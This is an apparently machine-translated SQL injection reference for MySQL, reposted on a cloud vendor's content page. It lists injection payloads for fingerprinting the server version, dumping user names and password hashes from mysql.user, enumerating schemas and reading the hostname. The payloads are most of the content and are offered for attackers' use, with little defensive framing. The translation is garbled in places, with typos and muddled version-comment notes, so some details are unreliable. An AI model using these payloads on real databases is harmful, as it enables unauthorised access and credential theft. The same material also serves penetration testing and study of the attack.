SQL injection Knowledge Base-mysql article (2)

Source: Internet
Author: User
Tags knowledge base

Pick up MySQL articles (1)

Test database version

1. Using the Self-band function

Version ()

@ @version

@ @global. version

Examples

Select version ();

SELECT * FROM Users WHERE id = ' 1 ' and MID (VERSION (), 1, 1) = ' 5 ';

Mid () is used to intercept strings, use mid (string, start position, intercept several characters)

Note:

If the database is running on a Windows machine, the output will take-nt-log

2. Using special codes

1/*!50094eaea*/; False if the version is at 5.0094 or above

1/*!50096eaea*/; True if the version is below 5.0096

1/*!50095eaea*/; False if the version is 5.0095

Note:

This method can be used to detect the database version when you cannot bring any SQL into the injection location query.

Database credentials

Table Mysql.user

Columns User Password

Current User User () current_user () Current_User system_user () Session_user ()

Examples

SECLCT Current_User;

SELECT Concat_ws (0x3A, user, password) from mysql.user WHERE user = ' root '--(privileged)

Database name

Table Information_schema.schemata mysql.db

Columns Schema_name DB

CurrentDb Database () schema ()

Examples

Select Database ();

Select Schema_name from Information_schema.schemata;

SELECT DISTINCT (db) from mysql.db

Host Name

@ @hostname

Example

SELECT @ @hostname;

SQL injection Knowledge Base-mysql article (2)

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.